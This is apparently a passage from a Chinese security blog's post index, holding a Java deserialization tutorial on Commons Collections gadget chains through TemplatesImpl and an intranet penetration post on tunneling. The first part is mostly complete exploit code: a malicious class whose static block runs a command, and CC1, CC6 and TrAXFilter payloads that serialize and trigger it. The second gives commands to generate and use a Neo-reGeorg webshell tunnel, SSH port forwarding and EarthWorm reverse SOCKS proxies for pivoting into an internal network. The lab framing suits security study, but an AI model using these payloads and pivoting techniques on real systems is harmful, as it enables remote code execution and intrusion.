让自定义加载器自己来加载目标类。ClassLoader 的 findClass() 方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码。拿到这个字节码之后再调用 defineClass() 方法将字节码转换成 Class 对象。 双亲委派机制想要自定义类加载器,一定需要了解双亲委派模型 双亲委派机制原理如下: 类加载器根据全限定类名判断类是否加载,如果已经加载则直接返回已加载类。如果没有加载,类加载器会首先委托父类加载器加载此类。父类加载器也会采用相同的策略,查看是否自己已经加载该类,如果有就返回,没有就继续委托给父类进行加载,直到BootStrapClassLoader。如果父类加载器无法加载,就会交给子类进行加载,如果还不能加载就继续交给子类加载。顺序为 BootStrapClassLoader->ExtClassLoader->AppClassLoader->自定义类加载器 。 双亲委派机制的好处: 能够有效确保一个类的全局唯一性,当程序中出现多个限定名相同的类时,类加载器在执行加载时,始终只会加载其中的某一个类。加载的先后顺序其实确定了类被加载的优先级,如果出现了限定名相同的类,类加载器在执行加载时只会加载优先级最高的那个类。 利用链之 TemplatesImpl 类TemplatesImpl 类中的静态内部类 TransletClassLoader 就是一个自定义类加载器,它继承了 ClassLoader ,重写了 defineClass 方法。defineClass() 完成类加载的加载 -> 验证 -> 准备 -> 解析四个阶段,而静态代码块在初始化阶段被执行。所以可以把命令放在静态代码块中,最后利用 newInstance 方法完成初始化并执行它。 利用链总结123456/*TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()*/ TransletClassLoader 静态内部类的 defineClass 方法: 123Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length);} 这里需要传入一个字节数组,字节数组中应当存放我们自定义类的字节码。接下来看看哪里调用了这个方法,defineTransletClasses 方法中调用了这个方法。 defineTransletClasses 是外部类 TemplatesImpl 的成员方法,它调用了 TransletClassLoader 内部类的 defineClass 方法: 由于 defineTransletClasses 是私有方法,再找找谁调用了这个方法。 getTransletInstance 方法调用了 defineTransletClasses 方法: 由于 getTransletInstance 是私有方法,再找找谁调用了这个方法。 newTransformer 方法调用了 getTransletInstance : 判断绕过刚才在看代码的时候看到一些判断条件,现在来过一下判断。 getTransletInstance 方法中,如果 _name 为空那么将会直接返回 null,所以 _name 应该不为空,以及需要 _class 为空才能调用 defineTransletClasses 方法: defineTransletClasses 方法中如果 _bytecodes 为空会直接抛出异常,所以这里 _bytecodes 应该不为空,以及下面会调用 _tfactory 方法,所以 _tfactory 不为空: 总结一下: _name 不为空 1private String _name = null; _class 为空 1private Class[] _class = null; _bytecodes 需要被赋值为字节码文件 1private byte[][] _bytecodes = null; 它后面会作为 defineClass 方法的参数: 1_class[i] = loader.defineClass(_bytecodes[i]); 由于 _bytecodes 是一个二维数组,而传入的参数是 _bytecodes[i] ,也就是一个一维数组,所以我们需要创建一个一维数组,再把它放到 _bytecodes 二维数组中去。这里因为前面的循环次数取的是 _bytecodes 的长度,如果只传入一个一维数组,那么长度为 1 ,只循环一次,i 只能取到 0 这个值,那么 _bytecodes[i] 就是传入的一维数组: _tfactory 需要被赋值为 TransformerFactoryImpl 对象 1private transient TransformerFactoryImpl _tfactory = null; 由于 _tfactory 被 transient 修饰,无法被序列化,因此没办法手动赋值。但是在 TemplatesImpl 类的 readObject 方法中有赋值语句: 1_tfactory = new TransformerFactoryImpl(); 所以 _tfactory 可以不用管。 除此之外,我们还需要关注一件事: TemplatesImpl#defineTransletClasses() 会判断我们传入的类的父类是否为 ABSTRACT_TRANSLET ,如果是的话才会将 _transletIndex 赋值成 i (此时 i 为 0),而 _transletIndex 的默认值是 -1 ,如果这里不被赋值的话,下面经过判断后就会直接抛出异常。所以我们还要让传入的类继承 ABSTRACT_TRANSLET 。 我们可以在 TemplatesImpl 类中查到 ABSTRACT_TRANSLET 属性的定义: 可以看到它指代的类是 AbstractTranslet ,那么我们只需让传入的类继承 AbstractTranslet 类就行。 写个小程序验证一下恶意类 Eval : 123456789101112131415161718192021222324252627282930import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;import java.io.Serializable;public class Eval extends AbstractTranslet { // 恶意代码放在静态代码块中 static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } // 需要重写父类的两个方法 @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }} 执行程序 test1 : 1234567891011121314151617181920212223242526272829303132import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class test1 { public static void main(String[] args) throws Exception { // 初始化TemplatesImpl对象 TemplatesImpl templates = new TemplatesImpl(); // _name不为空 setFieldValue(templates, "_name", "test"); // 这里需要用到恶意类的字节码文件,通过maven编译后target目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\CC3链\\\\CC3\\\\target\\\\classes\\\\com\\\\miaoji\\\\Eval.class")); byte[][] codes = {code}; // _bytecodes和_tfactory不为空,由于还没有进行反序列化,这里先手动设置_tfactory的值 setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } // 反射设置值的操作重复,可以抽离成一个方法 public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception { Class clazz = object.getClass(); Field declaredField = clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object, filed_value); }} 成功弹出计算器。 利用链之 TrAXFilter 类TrAXFilter 的构造方法会调用 TemplatesImpl 的 newTransformer() 方法: 12345678public TrAXFilter(Templates templates) throws TransformerConfigurationException{ _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism();} 而且还是个 public 方法,可惜的是 TrAXFilter 不能被序列化。 入口类 InstantiateTransformerInstantiateTransformer 的 transform 能够实例化对象: 1234567891011121314151617181920public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException ex) { throw new FunctorException("InstantiateTransformer: InstantiationException", ex); } catch (IllegalAccessException ex) { throw new FunctorException("InstantiateTransformer: Constructor must be public", ex); } catch (InvocationTargetException ex) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex); }} 于是我们可以直接用 InstantiateTransformer 来实例化 TrAXFilter 对象。 写个小程序验证一下123456789101112131415161718192021222324252627282930313233343536import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class test2 { public static void main(String[] args) throws Exception { // 初始化TemplatesImpl对象 TemplatesImpl templates = new TemplatesImpl(); // _name不为空 setFieldValue(templates, "_name", "test"); // 这里需要用到恶意类的字节码文件,通过maven编译后target目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\CC3链\\\\CC3\\\\target\\\\classes\\\\com\\\\miaoji\\\\Eval.class")); byte[][] codes = {code}; // _bytecodes和_tfactory不为空,由于还没有进行反序列化,这里先手动设置_tfactory的值 setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 初始化InstantiateTransformer对象,利用它实例化TrAXFilter对象 InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class); } // 反射设置值的操作重复,可以抽离成一个方法 public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception { Class clazz = object.getClass(); Field declaredField = clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object, filed_value); }} 反序列化利用我们依然是选择用 InvokerTransformer 类的 transform 方法来执行 TemplatesImpl 的 newTransformer() 方法。但是反序列化的入口有多个选择,可以使用 AnnotationInvocationHandler 的 readObject ,或者 HashMap 的 readObject 。 除了上述方法之外还可以用 TrAXFilter 类来调用 TemplatesImpl 的 newTransformer() 方法。 将 AnnotationInvocationHandler 作为入口类前面学 CC1 链的时候我们就是用 AnnotationInvocationHandler 的 readObject 方法来反序列化的,但是有 Java 版本限制。 payload 如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC1_TemplatesImpl { public static void main(String[] args) throws Exception { // 初始化 TemplatesImpl 对象 TemplatesImpl templates = new TemplatesImpl(); // _name 不为空 setFieldValue(templates,"_name","test"); // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\CC3链\\\\CC3\\\\target\\\\classes\\\\com\\\\miaoji\\\\Eval.class")); byte[][] codes = {code}; // _bytecodes 不为空 setFieldValue(templates,"_bytecodes",codes); //利用 ChainedTransformer 执行 templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 HashMap ,没什么意义,仅作为参数传入 HashMap<Object,Object> map = new HashMap<>(); // 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法 Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); // 反射获取 AnnotationInvocationHandler 的构造方法 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); // 利用构造方法将 AnnotationInvocationHandler 对象的 memberValues 属性赋值为 LazyMap 对象 // memberValues 属性的 get 方法将会被 AnnotationInvocationHandler 的 invoke 方法调用 InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); // 为了能够调用 h 的 invoke 方法,我们用 h 来构造一个代理对象,这样当代理对象的任意方法被调用时,h 的 invoke 方法都会被调用 Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); // 再次利用构造方法将另一个 AnnotationInvocationHandler 对象的 memberValues 属性赋值为代理对象 // AnnotationInvocationHandler 的 readObject 方法中会调用 memberValues.entrySet() 方法,届时代理对象的 invoke 方法将被触发 Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("cc1_templatesImpl.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws Exception { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object o) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1_templatesImpl.bin")); oos.writeObject(o); } public static void unserialize(String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); }} 将 HashMap 作为入口类前面学 CC6 链时,我们便是将 HashMap 作为入口类,原因是 HashMap 的 readObject 方法会调用 key 的 hashCode 方法。 之后的利用链 TiedMapEntry : 1TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get() 所以将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象就好。 payload 如下: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC6_TemplatesImpl { public static void main(String[] args) throws Exception { // 初始化 TemplatesImpl 对象 TemplatesImpl templates = new TemplatesImpl(); // _name 不为空 setFieldValue(templates,"_name","test"); // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\CC3链\\\\CC3\\\\target\\\\classes\\\\com\\\\miaoji\\\\Eval.class")); byte[][] codes = {code}; // _bytecodes 不为空 setFieldValue(templates,"_bytecodes",codes); //利用 ChainedTransformer 执行 templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 HashMap ,没什么意义,仅作为参数传入 HashMap<Object,Object> map = new HashMap<>(); // 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法 // 为了防止序列化时命令执行,这里先传入一个普通的 ConstantTransformer 对象 Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1)); // 将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象 // 利用链:TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get() TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key"); // 新建一个 HashMap 对象,将 TiedMapEntry 对象作为 key 传入,之后将会调用 TiedMapEntry#hashCode() HashMap<Object,Object> map2 = new HashMap<>(); // 序列化时这里将会提前调用 TiedMapEntry#hashCode() ,导致 lazyMap::get()被调用,导致 lazyMap 的 key 属性被赋值 // 于是反序列化调用 lazyMap::get() 时无法进入判断,无法调用 transform 方法 map2.put(tiedMapEntry,"test"); // 为了解决上述问题,HashMap 对象的 put 方法执行后需要去除 lazyMap 中的 key lazyMap.remove("key"); // 最后利用反射将 LazyMap 的 factory 对象修改为 chainedTransformer Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer); serialize(map2); unserialize("cc6_templatesImpl.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws Exception { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6_templatesImpl.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} TrAXFilter + InstantiateTransformer 代替 InvokerTransformer利用 TrAXFilter 的构造方法调用 TemplatesImpl 的 newTransformer() 方法,就不需要使用 InvokerTransformer 了。入口类可以从上面两个中选一个。 为了更加通用,这里选择将 HashMap 作为入口类,payload 如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class TrAXFilter_TemplatesImpl { public static void main(String[] args) throws Exception { // 初始化 TemplatesImpl 对象 TemplatesImpl templates = new TemplatesImpl(); // _name 不为空 setFieldValue(templates, "_name", "test"); // 初始化 InstantiateTransformer 对象,利用它实例化 TrAXFilter 对象 InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\CC3链\\\\CC3\\\\target\\\\classes\\\\com\\\\miaoji\\\\Eval.class")); byte[][] codes = {code}; // _bytecodes 不为空 setFieldValue(templates, "_bytecodes", codes); // 利用 ChainedTransformer 执行 templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 HashMap ,没什么意义,仅作为参数传入 HashMap<Object, Object> map = new HashMap<>(); // 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法 // 为了防止序列化时命令执行,这里先传入一个普通的 ConstantTransformer 对象 Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); // 将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象 // 利用链:TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get() TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); // 新建一个 HashMap 对象,将 TiedMapEntry 对象作为 key 传入,之后将会调用 TiedMapEntry#hashCode() HashMap<Object, Object> map2 = new HashMap<>(); // 序列化时这里将会提前调用 TiedMapEntry#hashCode() ,导致 lazyMap::get()被调用,导致 lazyMap 的 key 属性被赋值 // 于是反序列化调用 lazyMap::get() 时无法进入判断,无法调用 transform 方法 map2.put(tiedMapEntry, "test"); // 为了解决上述问题,HashMap 对象的 put 方法执行后需要去除 lazyMap 中的 key lazyMap.remove("key"); // 最后利用反射将 LazyMap 的 factory 对象修改为 chainedTransformer Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap, chainedTransformer); serialize(map2); unserialize("trAXFilter_templatesImpl.bin"); } public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception { Class clazz = object.getClass(); Field declaredField = clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object, filed_value); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("trAXFilter_templatesImpl.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }}","categories":["Java 安全"]},{"title":"内网渗透 03 - 隧道通信","path":"/2024/05/16/内网渗透/内网渗透03-隧道通信/","content":"网络隧道技术指的是利用一种网络协议来传输另一种网络协议,它主要利用网络隧道协议来实现这种功能。网络隧道技术涉及了三种网络协议,即网络隧道协议、隧道协议下面的承载协议和隧道协议所承载的被承载协议。 内网渗透-隧道通信推荐博客:内网渗透之隧道传输技术 什么是隧道协议?隧道协议(英语:Tunneling Protocol)是一种网络协议,在其中,使用一种网络协议(发送协议),将另一个不同的网络协议,封装在负载部分。使用隧道的原因是在不兼容的网络上传输数据,或在不安全网络上提供一个安全路径。 常见的隧道协议包括 SSH,TLS,SOCKS,PPTP 等。 什么是隧道传输?网络隧道技术指的是利用一种网络协议来传输另一种网络协议,它主要利用网络隧道协议来实现这种功能。网络隧道技术涉及了三种网络协议,即网络隧道协议、隧道协议下面的承载协议和隧道协议所承载的被承载协议。 防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。常见的隧道列举如下: 网络层:IPv6 隧道、ICMP 隧道、GRE 隧道 传输层:TCP 隧道、UDP 隧道、常规端口转发 应用层:SSH 隧道、HTTP 隧道、HTTPS 隧道、DNS 隧道 Metasploit 攻击载荷的分类攻击载荷(payload)可分为 single、stager、stage 三种。 1、 singles(独立载荷) 直接植入目标系统并执行相应的程序,如:shell_bind_tcp,meterpreter_reverse_tcp 2、stagers(传输器载荷) 用于目标机与攻击机之间建立稳定的网络连接,与 stages(传输体载荷)配合攻击,该种载荷体积都非常小,如:bind 型和 reverse 型。 bind 型:需要攻击机主动连接目标端口。 reverse 型:目标机反向连接攻击机,需要提前设定好连接攻击机的 ip 地址和端口号。 3、stages(传输体) 在 stagers 建立好稳定的连接后,攻击机将 stages 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stages 。如得到目标机的 shell 或者 meterpreter 控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。 stager 和 stage 就像 web 入侵里面提到的小马和大马一样,由于 exploit 环境的限制,可能不能一下子把 stage 传过去,需要先传一个 stager ,stager 在 attacker 和 target 之间建立网络连接,之后再把 stage 传过去进行下一步的行动。 格式 single payload 的格式为:<target>/<single> ,比如:windows/shell_bind_tcp ; stages/stagers payload 的格式为:<target>/<stage>/<stager> ,比如:windows/meterpreter/bind_tcp 使用 Neo-reGeorg 建立正向隧道关于 Neo-reGeorgNeo-reGeorg 是常见的 http 正向隧道工具,是 reGeorg 工具的升级版。增加了很多特性,例如像内容加密、避免被检测、请求头定制、响应码定制、支持 py3 等等。 有时候我们会发现上传的木马很快就被杀掉了,导致无法获取 shell ,但是目标主机又开启了 web 服务,那么这时就可以建立 http 隧道。 下载地址:https://github.com/L-codes/Neo-reGeorg Neo-reGeorg 使用方法进入到 Neo-reGeorg-master 目录下,执行以下命令,生成 webshell ,连接密码为 ‘ shell ’ : 1python3 neoreg.py generate -k shell 这会在当前目录下生成一个 neoreg_servers 文件夹,里面包含了各种类型的 webshell : 在生成的 webshell 中选择目标机对应语言的后门上传即可。 上传成功后,通过以下命令建立起隧道通信: 1python3 neoreg.py -k shell -u http://192.168.43.13:8080/tunnel.php 执行结果: 12345678910111213141516171819202122232425262728293031┌──(root㉿kali)-[~/Neo-reGeorg-master]└─# python3 neoreg.py -k shell -u http://192.168.43.13:8080/tunnel.php "$$$$$$'' 'M$ '$$$@m :$$$$$$$$$$$$$$''$$$$' '$' 'JZI'$$& $$$$' '$$$ '$$$$ $$$$ J$$$$' m$$$$ $$$$, $$$$@ '$$$$_ Neo-reGeorg '1t$$$$' '$$$$< '$$$$$$$$$$' $$$$ version 5.2.0 '@$$$$' $$$$' '$$$$ '$$$@ 'z$$$$$$ @$$$ r$$$ $$| '$$v c$$ '$$v $$v$$$$$$$$$# $$x$$$$$$$$$twelve$$$@$' @$$$@L ' '<@$$$$$$$$` $$ '$$$ [ Github ] https://github.com/L-codes/Neo-reGeorg+------------------------------------------------------------------------+ Log Level set to [ERROR] Starting SOCKS5 server [127.0.0.1:1080] Tunnel at: http://192.168.43.13:8080/tunnel.php+------------------------------------------------------------------------+ 默认建立的是 socks5://127.0.0.1:1080 ,所以依然可以通过 proxychains 来利用: 1proxychains curl http://192.168.43.13:8080 基于 SSH 的隧道通信什么是 ssh 隧道SSH 隧道即 SSH 端口转发,在 SSH 客户端与 SSH 服务端之间建立一个隧道,将网络数据通过该隧道转发至指定端口,从而进行网络通信。SSH 隧道自动提供了相应的加密及解密服务,保证了数据传输的安全性。 Windows server 2019 开启 ssh 服务首先需要开启靶机的 22 端口,使其能够进行 ssh 远程连接。 下方搜索栏搜索并打开 “ 应用和功能 ” : 选择 “ 管理可选功能 ” : 选择 “ 添加功能 ” : 选择 “ OpenSSH 服务器 ” 并安装。 安装后程序位于:C:\\Windows\\System32\\OpenSSH 。 执行以下命令即可开启 sshd 服务: 1net start sshd ssh 本地端口转发ssh 本地端口转发命令的「-L」旗标后可以填写四个参数,完整格式为: 1ssh -L [收听接口:]收听端口:目标主机:目标端口 username@hostname 命令中方括号内的部分,即第一个参数可以不写;它的默认值一般是 0.0.0.0(OpenSSH 客户端配置文件「ssh_config」中「GatewayPorts」选项的值一般为「yes」),意味着 SSH 隧道会收听所有接口,接受来自任何地址的应用访问请求并进行转发。 执行此命令后,将能够在收听端口处访问目标主机的目标端口。 比如,以 192.168.43.13 为跳板机,将 192.168.52.143 内网主机的 80 端口转发到本机的 8879 端口: 1ssh -CfNg -L 8879:192.168.52.143:80 [email protected] -C:这个选项表示启用压缩。SSH 将会压缩数据包数据,这可以提高传输效率,特别是在带宽较低的情况下。压缩可以减少传输的数据量,从而加快数据传输速度,并可能降低网络延迟。 -f:这个选项表示 SSH 客户端在创建隧道后进入后台运行。这意味着一旦隧道建立,SSH 客户端不会占用终端,允许用户继续在同一个终端上执行其他任务。这对于需要长时间运行的隧道特别有用。 -N:这个选项表示如果 SSH 检测到隧道没有数据传输,它不会关闭隧道。通常,SSH 会关闭空闲的隧道以节省资源,但使用 -N 选项后,即使没有数据流动,隧道也会保持开启状态。 -g:这个选项允许 SSH 绑定到非本地地址。默认情况下,SSH 只能绑定到本地地址,但使用 -g 选项后,可以指定一个非本地的端口进行监听。这对于需要从远程网络访问本地服务的情况非常有用。 那么此时访问本机的 8879 端口就可以访问到内网主机 192.168.52.143 的 80 端口了。 上述命令在 kali 上执行,因此称为本地转发。 kali 开启 sshd 服务一、配置 SSH 参数 修改 sshd_config 文件,命令为:vi /etc/ssh/sshd_config 。 将 #PasswordAuthentication no 的注释去掉,并且将 NO 修改为 YES // kali 中默认是 yes ; 将 #PermitRootLogin without-password 修改为 PermitRootLogin yes ; 然后保存退出 vi 编辑器。 二、启动 SSH 服务 启动 SSH 服务,命令为: /etc/init.d/ssh start 或者: service ssh start 查看 SSH 服务状态是否正常运行,命令为: /etc/init.d/ssh status 或者: service ssh status 注明:这两种启动 ssh 方式都是临时性的,如果机器重启就需要重新输入上面命令才可以开启 ssh ,如果需要 ssh 服务下次开机自动启动,则需要使用以下命令启动 ssh 服务,命令为: 12update-rc.d ssh enable // 系统自动启动SSH服务update-rc.d ssh disabled // 关闭系统自动启动SSH服务 三、关闭 ssh 服务 1service sshd stop SSH 远程端口转发在 Windows server 2019 上执行以下命令用 ssh 连接 kali ,这里的 192.168.52.143 仍然是内网主机,但最后是 kali 的用户名和 IP : 1ssh -CfNg -R 3333:192.168.52.143:80 [email protected] 这样做的前提是 kali 要启动 sshd 服务。完成上述操作后,在 kali 上访问 127.0.0.1:3333 即可访问到 192.168.52.143:80 。 EarthWorm 工具的使用EW(Earthworm)是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 “正向” 、“反向” 、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。 下载地址:https://github.com/mrawb/ew/tree/master EW 的使用方法 该工具共有 6 种命令格式( ssocksd 、rcsocks 、rssocks 、lcx_slave 、lcx_listen 、lcx_tran ): 1234567891011./ew -s ssocksd -l 1080 //开启正向socks服务./ew -s rcsocks -l 1080 -e 8888 //监听1080端口,1080接收的数据通过8888交互传递./ew -s rssocks -d rev_ip -e 8888 //开启反向socks服务。反向连接rev_ip的8888端口./ew -s lcx_listen -l 1080 -e 8888 //监听1080端口,1080接收的数据通过8888交互传递./ew -s lcx_tran -l 1080 -f forward_ip -g8888 //监听1080端口,1080接收的数据正向传给forward_ip的8888端口./ew -s lcx_slave -d vps_ip -e 8888 -f B_ip-g 9999 //作为中间角色,反向连接vps的8888,正向连接B的9999。打通两者 注意,这里的 ./ew 是指 ew-master 目录下的任意一个可执行文件,根据对应的操作系统选择一个。 正向代理在 Windows Server 2019 上运行: 1ew_for_Win.exe -s ssocksd -l 1080 此时将 kali 的代理设置为 Windows Server 2019 的 IP + 端口 1080 即可访问内网中的其他机器。 反弹代理原理就是让 Windows Server 2019 主动去连接一台公网服务器,然后攻击者把这台公网服务器当代理,就可以访问内网了。 当然也可以直接让 Windows Server 2019 主动去连接 kali 攻击机,但是使用上一种方法可以隐藏 kali IP。 在一台 Ubuntu 公网服务器上执行监听: 1./ew_for_linux64 -s rcsocks -l 8080 -e 8888 那么此时这台公网服务器就会监听 8080 端口,并将 8080 端口接收的数据通过 8888 端口交互传递。简单点说,就是 kali 在设置代理的时候要设置 公网服务器 IP + 8080 端口 ,而 Windows Server 2019 则需要主动去连接这台公网服务器的 8888 端口。 如果没有执行权限的话需要赋予执行权限: 1chmod +x ew_for_linux64 在 Windows Server 2019 上执行以下命令与公网服务器建立连接: 1ew_for_Win.exe -s rssocks -d 公网服务器IP -e 8888 此时在 kali 上配置代理为 公网服务器 IP + 8080 端口 即可访问内网。 不过因为不明原因,本次实验失败,报错:代理服务器拒绝连接。","categories":["内网渗透"]},{"title":"内网渗透 02 - 端口扫描","path":"/2024/05/16/内网渗透/内网渗透02-内网扫描/","content":"收集内网 IP ,进行端口扫描。 